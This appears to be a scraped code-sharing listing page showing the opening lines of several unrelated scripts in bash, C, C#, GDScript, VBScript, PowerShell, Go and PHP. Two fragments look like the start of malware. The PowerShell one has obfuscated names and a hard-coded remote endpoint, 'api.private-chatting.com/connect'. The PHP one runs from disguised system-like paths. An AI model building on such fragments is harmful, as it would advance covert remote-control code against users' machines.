This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Check if the script is run with superuser privileges | |
if [ "$EUID" -ne 0 ]; then | |
echo "Please run this script as root (sudo)." | |
exit 1 | |
fi | |
# Prompt the user for the target devices | |
read -p "Enter the target devices (e.g., /dev/sdX /dev/sdY): " target_devices |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* compile: cc fturing.c -o fturing -luring -DNDEBUG -O3 */ | |
#include <endian.h> | |
#include <errno.h> | |
#include <error.h> | |
#include <liburing.h> | |
#include <libgen.h> | |
#include <netdb.h> | |
#include <stddef.h> | |
#include <stdint.h> | |
#include <stdio.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
namespace CW1 | |
{ | |
public class QueraQuestion17675 | |
{ | |
static int previousFib = 0; | |
static int lastFib = 1; | |
public static void Main(string[] args) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class_name MyParticles2D01 | |
extends Particles2D | |
# Declare member variables here. Examples: | |
# var a = 2 | |
# var b = "text" | |
# Called when the node enters the scene tree for the first time. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'--------------------------------------------------------------------------------------------- | |
' Copyright: Microsoft Corp. | |
' | |
' This script is designed to be used only for scheduled tasks(s). | |
' There is no extensive error check, and will not dump the output from the Powershell CmdLet. | |
' | |
' Usage: SyncAppvPublishingServer {cmdline-args(passthrough to cmdlet)} | |
'--------------------------------------------------------------------------------------------- | |
Option Explicit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path; | |
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString(); | |
$EndPointURL = "http://api.private-chatting.com/connect"; | |
$__Version__ = "M_37"; | |
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString(); | |
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle); | |
function XF3a8JO3r5r8G([string] $str) { | |
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%") | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"io" | |
"log" | |
"net" | |
"net/http" | |
"runtime" | |
"sync/atomic" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
chdir("/opt/systemd/linux2"); | |
$handle = fopen("/tmp/.linux.git_lock", "a"); | |
while (!flock($handle, LOCK_EX | LOCK_NB)) { | |
printf("Waiting for the lock...\n"); | |
sleep(1); | |
} | |
function ca($str) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ( | |
"bytes" | |
"encoding/base64" | |
"encoding/binary" | |
"fmt" | |
"strconv" | |
) | |
func UnpackInlineMessageId(inlineMessageId string) (int64, int64, int64, int64, error) { | |
bs, err := base64.RawURLEncoding.DecodeString(inlineMessageId) |
NewerOlder